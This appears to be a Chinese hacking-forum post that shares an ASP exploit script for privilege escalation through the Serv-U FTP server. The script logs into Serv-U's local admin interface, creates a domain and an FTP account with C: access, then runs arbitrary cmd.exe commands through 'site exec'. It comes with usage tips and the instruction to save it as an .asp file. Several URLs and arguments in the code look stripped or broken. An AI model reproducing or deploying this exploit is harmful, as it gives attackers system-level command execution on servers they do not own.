serv-u最新通杀所有版本提权代码。10.x的也可以提，昨天俺成功11版本的， 不要直接添加系统帐号或者执行命令，用添加的FTP帐号在CMD下面连接提权。

要不容易出错的。

EXP:

<% Function httpopen(neirong,fangshi,dizhi,refer,cookie) set Http=server.createobject("Microsoft.XMLHTTP") Http.open fangshi,dizhi,false Http.setrequestheader "Referer",refer Http.setrequestheader "Content-type","application/x-www-form-urlencoded" Http.setrequestheader "Content-length",len(neirong) Http.setrequestheader "User-Agent","Serv-U" Http.setrequestheader "x-user-agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)" If cookie<>"" then Http.setrequestheader "Cookie",cookie End If Http.send neirong httpopen=bytes2BSTR(Http.responseBody) set Http=nothing end Function

Function getmidstr(L,R,str) int_left=instr(str,L) int_right=instr(str,R) If int_left>0 and int_right>0 Then getmidstr=mid(str,int_left+len(L),int_right-int_left-len(L)) Else getmidstr="执行的字符串中不包含“"&L&"”或“"&R&"”" End If end Function

Function bytes2BSTR(vIn) strReturn = "" For i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr (CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 End If Next bytes2BSTR = strReturn End Function %> <% ’----------自定义参数开始-----------

action=Request("action") loginpass=Request.Form("loginpass") port=Request("port") mydomain=Request.Form("mydomain") path=Request.Form("path") ftpport = Request.Form("ftpport") user=Request.Form("user") pass=Request.Form("pass") cmd= Request.Form("cmd") sessionid=Request("sessionid") organizationId=Request("OrganizationId") userid=Request("userid") domainid=Request("domainid")

’----------自定义参数结束-----------

select case action

case 1 returns=httpopen("user=&pword="&loginpass&"&language=zh%2CCN%26","POST","","") sessionid=getmidstr("","",returns) if sessionid<>"" then Response.Write "login ok!"&"
" Response.redirect "?action=2&sessionid="&sessionid&"&port="&port else Response.Write "error!"&"
" end if

case 2 call main2()

case 3 returns=httpopen("","POST",") organizationIdTemp=mid(returns,instr(returns,"OrganizationUsers.xml&ID="),len("OrganizationUsers.xml&ID=")+15) organizationId=mid(OrganizationIdTemp,instr(OrganizationIdTemp,"=")+1,instr(OrganizationIdTemp,"""")-instr(OrganizationIdTemp,"=")-1) if organizationId<>"" then Response.write "get organizationId "&OrganizationId&" ok!"&"
" Response.redirect "?action=4&sessionid="&sessionid&"&port="&port&"&OrganizationId="&OrganizationId else Response.write "error!"&"
" end if

case 4 call main3()

case 5 returns=httpopen("","POST",")

userid=getmidstr("<var name=""ObjectID"" val=""",""" />",returns) if userid<>"" then Response.write "get userid "&userid&" ok!"&"
" Response.redirect "?action=6&sessionid="&sessionid&"&port="&port&"&OrganizationId="&OrganizationId&"&userid="&userid else Response.write "error!" end if

case 6 call main4()

case 7 returns=httpopen("Access=7999&MaxSize=0&Dir=%2Fc%3A&undefined=undefined&MaxSizeDisp=&","POST",") returns=httpopen("LoginID="&user&"&FullName=&Password="&pass&"&ComboPasswordType=%E5%B8%B8%E8%A7%84%E5%AF%86%E7%A0%81&PasswordType=0&ComboAdminType=%E6%97%A0%E6%9D%83%E9%99%90&AdminType=&ComboHomeDir=%2FC%3A&HomeDir=%2F"&path&"&ComboType=%E6%B0%B8%E4%B9%85%E5%B8%90%E6%88%B7&Type=0&ExpiresOn=0&ComboWebClientStartupMode=%E6%8F%90%E7%A4%BA%E7%94%A8%E6%88%B7%E4%BD%BF%E7%94%A8%E4%BD%95%E7%A7%8D%E5%AE%A2%E6%88%B7%E7%AB%AF&WebClientStartupMode=&LockInHomeDir=0&Enabled=1&AlwaysAllowLogin=1&Description=&=&IncludeRespCodesInMsgFiles=&ComboSignOnMessageFilePath=&SignOnMessageFilePath=&SignOnMessage=&SignOnMessageText=&ComboLimitType=%E8%BF%9E%E6%8E%A5&LimitType=Connection&QuotaBytes=0&Quota=0&","POST",") Response.write "add user ok!"&"
" Response.redirect "?action=8&userid="&userid&"&port="&port&"&sessionid="&sessionid&"&OrganizationId="&OrganizationId

case 8 call main5()

case 9 returns=httpopen("DomainName="&mydomain&"&Description=test1&Enabled=1&EnableFTP=1&EnableFTPS=0&EnableSSH=0&EnableHTTP=0&EnableHTTPS=0&FTPPort="&ftpport&"&FTPSPort=990&SSHPort=22&HTTPPort=80&HTTPSPort=443&BindIPAddress=&","POST",") domainid=getmidstr("","",returns) Response.write "create domain ok!"&"
" Response.redirect "?action=10&userid="&userid&"&port="&port&"&sessionid="&sessionid&"&OrganizationId="&OrganizationId&"&domainid="&domainid

case 10 call main6()

case 11 set b=Server.CreateObject("Microsoft.XMLHTTP") b.open "GET", "", false, "", "" b.send "User " & user & vbCrLf & "pass "& pass & vbCrLf & "site exec c:windowssystem32cmd.exe /c "& cmd & vbCrLf & "QUIT" & vbCrLf Response.Write Replace(b.responseText,chr(13),"
") Response.redirect "?action=12&userid="&userid&"&port="&port&"&sessionid="&sessionid&"&OrganizationId="&OrganizationId&"&domainid="&domainid

case 12 call main7()

case 13 returns=httpopen("IDs="&domainid&"&","POST",") Response.Write "临时域清理完毕!用户请手动清理,因为serv-u的userid变化我搞不懂."&"
"

case else call main1()

end select

sub main1() %>

一般情况下不用改,如果管理员改了的话就填上去.

这一步有点慢,请等待.

<% end sub %> <% sub main3() %>

<% end sub %> <% sub main4() %>

<% end sub %> <% sub main5() %>

<% end sub %> <% sub main6() %>

注意:如果是serv-u 7.0,这里可以马上点提交.

注意:如果是serv-u 7.0以上,请在执行完上一步之后过大概半分钟才提交.

<% end sub %> <% sub main7() %>

<% end sub %>

把上面代码保存成XX.asp就行了。 来自强大的：A8

你们懂的！